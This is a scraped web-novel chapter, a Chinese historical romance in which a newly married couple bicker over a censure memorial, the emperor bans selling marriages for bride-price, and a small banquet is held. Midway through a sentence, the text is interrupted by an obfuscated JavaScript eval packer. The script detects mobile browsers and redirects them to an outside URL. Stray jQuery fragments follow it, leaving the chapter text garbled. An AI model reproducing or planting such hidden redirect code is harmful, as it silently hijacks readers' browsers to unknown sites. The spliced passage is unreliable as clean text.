默认冷灰
24号文字
方正启体

18. 卖婚无耻

作者:不废江流本书字数:K更新时间:
    明珂念旧,将郡主府的主院布置的与自己在侯府的闺房相差无几,甚至名字都取了个相近的,唤作风和居。


    简单收拾了一下院子,她趴在窗边看着院子里开得正盛的两树杏花,心中多了几分欢悦。


    ——住在这边也挺好的,不然岂不是浪费了前几个月布置园子的功夫。


    明珂大度地想,暂且原谅裴约那点上不得台面的小手段好了,若他下职回来没有再弄出什么惹她不快的事,就不让他睡书房了。


    他身上热意很足,挨着他睡起来比自己一个人睡更舒服。


    裴约还不清楚她有没有消气,因此回到郡主府时姿态放得很低,小心翼翼地将折子推到了她面前,轻声道:“……我被参了。”


    他一副受了委屈的小媳妇儿模样,明珂忍不住生出一些怜爱之心,拿起折子道:“你有什么被参的!是不是又是李景泰那边的御史找……呃。”


    入眼是熟悉的字迹,明珂哽了一下,喃喃道:“……是小余参的啊。”


    小余?那个御史台的余是?叫得这样亲近。裴约的眉头蹙了起来:“你认得御史台的余是,莫非他也是受过你恩惠的学子?”


    “是。”明珂脸上露出些追忆的神色,“他实在不怎么会说话,当时得罪了人,不过我看他是个做御史的好苗子,就帮了他一把。他是个念恩的人,估计以为你惹了我生气才参了你,不然估计不会将精力放在这些小事上的。”


    裴约抿平了唇角:“你我夫妻一体,他尚未意识到参了我,你面上也无光。”


    即便成了婚,明珂心中也并未有什么“夫妻一体”的意识,甚至觉得裴约因被自己抓破了脖子受到弹劾有些好笑,经他这么一说才意识到闹成这样确实有些丢脸,于是很认真道:“那我派人去小余府上说一句,让他莫要找你的茬。”


    有什么可说的,你一说他一答又要往来好几次,不成体统。裴约淡淡道:“不必,若我公事上出了什么纰漏,他大可尽情参我。至于夫妻间的这些私事……”


    他轻咳了声:“只要你日后莫要往我脸上招呼,旁人想弹劾也寻不到由头。”


    明珂心中发笑,想打趣一句“脸上不行,是不是指其他地方就可以了”,又怕话说出口会引来他的说教,便只应道:“好吧。”


    用完晚膳后,明珂起身道:“走吧,我带你去看看书房。”


    裴约整个人都僵住了,纵然他没有言语,明珂也在他脸上看到了“今日我又丢脸又被参,你竟还舍得让我去睡书房”的控诉。


    见他一动也不动,明珂假装没看出他在想什么,皱起鼻子抱怨:“又怎么啦?你不打算去书房写辩折么?”


    ——真是顽皮。裴约抬手屈指在明珂额头上轻敲了一下,顶着她不可置信的目光淡然自若道:“走吧。”


    书房本就大,因是新设,靠墙的红木书架上只零零散散放了些寻常书籍,因此显得尤为开阔。眼见着明珂想继续带他去书房一侧特意为分房而居准备的卧房逛悠,裴约伸手环住了她的腰:“阿鲤,来给我研墨吧。”


    明珂不耐烦做这种事,从他怀里逃了出来:“清明,你家郎君喊你研墨!”


    这辈子估计指望不上她红袖添香了。裴约写完了辩折,又翻阅起清明呈上的、他前几日让死士查探的明珂近年来的行事。


    死士是从近几个月开始向前查探,因此裴约瞧见的第一件事便是明珂在京中多家开设赌局赌他们的婚事多久会作罢的赌坊里下了注。


    ——真是胡闹!结两姓之交秦晋之好,又是陛下赐婚,这样要紧又庄重的事,赌坊怎可以此设局谋利!


    裴约数了数明珂下注的赌坊数目,额角青筋忍不住跳了跳。京兆府管得委实太松,竟没查封了这些伤民伤财的污秽之所!


    还有明珂,旁人也就罢了,她怎么也能以此作赌取乐?这简直是将这门婚事当做儿戏,实在是……


    唔,她竟押了这么多注在“祖父不会进宫求皇帝取消婚事”上?


    应当是见那么多人都押这桩婚事不会长久,所以被激出了脾气吧?她就是这样不愿被人看轻的性子。


    算了,还是等赌局结束后她赚上一笔,再寻由头参京兆一本督促其查封赌坊吧。这事若做的太早,害她投的注折了进去,她又要和自己吵嘴。


    再往后几页,竟出现了一件和新科进士窦平有关的事,是两日前他在酒楼宴请同乡,有人说了句“本以为凭窦兄你的才学样貌,中第后有机会做明家的女婿,谁料却被裴氏捷足先登”,而窦平回了句“慎言”。


    裴约冷笑一声——此人本事不大,想得却不小,竟妄想过做明珂的夫君!


    就因为明珂帮过他,他就生出了可以接近她的僭越之心么!明珂帮过的寒门学子又不止他一个!


    裴约想到这里更头痛了。是啊,明珂帮过的可不止窦平一个,还有余是,还有一堆张三李四王五。这一堆人里,心怀不轨的不知会有多少!


    可这又不是明珂的错,是皇帝让她去做这些事的,但他也不能怪皇帝。归根到底,是行卷请托的风气不好,要劳累明珂在外抛头露面帮这些人奔走。


    找关系请托的风气自古以来便禁不了,只能将科举改得更严格些。裴约在心底记下了这件事,打算慢慢写个章程出来。


    次日小朝会上,裴约又跟着太子进了宫,将昨日写好的折子呈了上去。皇帝大怒,斥责崔郑卢王几家“贩鬻婚姻,无礼无耻”,下召禁止卖婚索财,言明婚姻要重德行,而非旧族声望。


    作为这场风波的导火索,郑家与镇北侯府的婚事也不了了之了。公孙策很是高兴,郑九娘却有些闷闷不乐。


    在此之前,她根本不清楚父母向镇北侯府索要了那么高的聘礼,此时她很是不解地询问郑家二爷和郑二夫人:“咱家又不缺那几个钱,要这么高的聘礼干什么啊?”


    郑二夫人道:“那公孙策是什么出身,你又是什么出身?若不多要些聘礼,岂不是委屈了你!”


    “这些根本不算多。”一旁的郑二爷也捻着胡子道,“西域多少小国覆灭在公孙介一人手中,镇北侯府指不定有多少奇珍异宝呢。”


    他也就按镇北侯府明面上有的家底拟的聘礼单子,谁知道连这点公孙家都不愿意给,还转头告到了皇帝那里!这桩亲事不结也罢!


    “但是我们府上先提的结亲啊。”郑九娘忍不住顶了句嘴,“而且聘礼我成亲了又带不走,多点少点又有什么关系,日后镇北侯府不会短了我的吃穿就不算委屈了我。”


    夫妻二人被她说得有些挂不住脸。郑二夫人瞪了她一眼:“聘礼可是关乎女郎一辈子的脸面,岂能含糊!”


    “这些都是虚的。”郑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638544|172347||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    九娘在心里嘀咕,“钱财会散名望会烂,只有才貌,有就是有,没有就是没有。”


    小时候她相中了卢家才貌双全的十六叔,知晓对方没有娶妻的意思后哭了好几日,随后又把目光放到了裴家的裴约身上。如今裴约也成了亲,五姓之中她左看右看都没有再相中的,反而外头的公孙策不错,虽说才思较她看上的前两个人逊色了些,但武功却高强,长相也别有一番风情。


    若是错过了公孙策,下一茬品相好的郎君不知何时才能长起来呢!如今陛下的旨意一下,她嫁谁家中都得不了高额聘礼,那还不如继续议这桩亲!


    郑九,你可一定要促成这桩婚事!不然嫁一个长得勉强的郎君,再生几个长得勉强的孩子,还不如绞了头发做姑子去!


    ……


    转眼又到了旬休的时候,明珂寻思着住到郡主府后还未办过乔迁宴,恰好府上杏花开得又好,干脆便借着赏花的名头请了太子夫妻、城阳公主母女、吴王与裴约的几个弟妹过来,热热闹闹地办场小宴。


    最先到的无疑是裴家的几个弟妹。裴芸最是知礼,还想上手帮长嫂待客。明珂连连摆手道:“霜降她们操持得过来,你好好歇着就是了。”


    她其实不太知道怎么和这种温柔知礼浑身书卷气的小娘子相处。她接触过最温柔的女郎是五公主,可五公主也只是看着性子柔,实际上一身反骨。好在与裴芸脾性相近的太子妃很快也到了,两人倒是颇能聊得来。


    明珂将这场小宴视为家宴,因此没特意分什么男女席,只支了一张大圆桌,她和裴约以及太子夫妻俩相对而坐,刚好把男女隔开。


    太子和裴约聊了几句公事,又将目光转向明珂,张嘴就是一句狠的:“你唯独没叫老二过来,不怕他又在父皇面前搬弄是非?”


    统共一张桌子大的地方,他这句话人人都听得一清二楚。太子妃与裴约还好,其他几个裴家人却冷汗都下来了——裴礼一口茶直接哽在了嗓子里,裴芸捏紧了手里的帕子,裴信看着镇定,却向裴约投去了近乎求助的目光。


    可靠的长兄没有反应,长嫂却已经叉起了腰,横眉怒目道:“我还没先向陛下告他的状呢!前些日子我和裴约进宫时在宫门前撞见了他,他又是向裴约提起当初陛下撮合我和四哥的玩笑话,又是和我说裴约曾言绝不会娶我这样的妻子!就冲这件事我也不会请他!”


    刚刚来到的城阳公主正好听完她的抱怨,笑问:“你莫非就是因为听说守之说过这样的话,才下狠手挠了他一把?”


    当然不是,但可以是。这个理由比她向裴约动手的真正缘由能见人一些,而且还可以给魏王扣黑锅。于是明珂信誓旦旦道:“对。”


    她这么随口一说,裴约立刻受到了来自李家人的目光拷打。他不由得想起数日前明珂听说这句话后对对自己的调笑,有些羞于启齿道:“只是在崇文馆时受了阿鲤戏弄,一时气氛才口出此言……”


    明珂那点洞悉郎君心思的本事还是从城阳公主府历练来的,城阳公主更是一听就明白了怎么回事,笑道:“被戏弄了不是愤怒或斥责,反而是说‘日后绝不娶她做妻子’,真是好小子。”


    裴约的脸在众人面前红了个彻底,明珂倒是泰然自若,巧妙地将话往回圆:“我也是挠完他才反应过来他的心思,所以姑母你们无需担心我,我和他好着呢。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)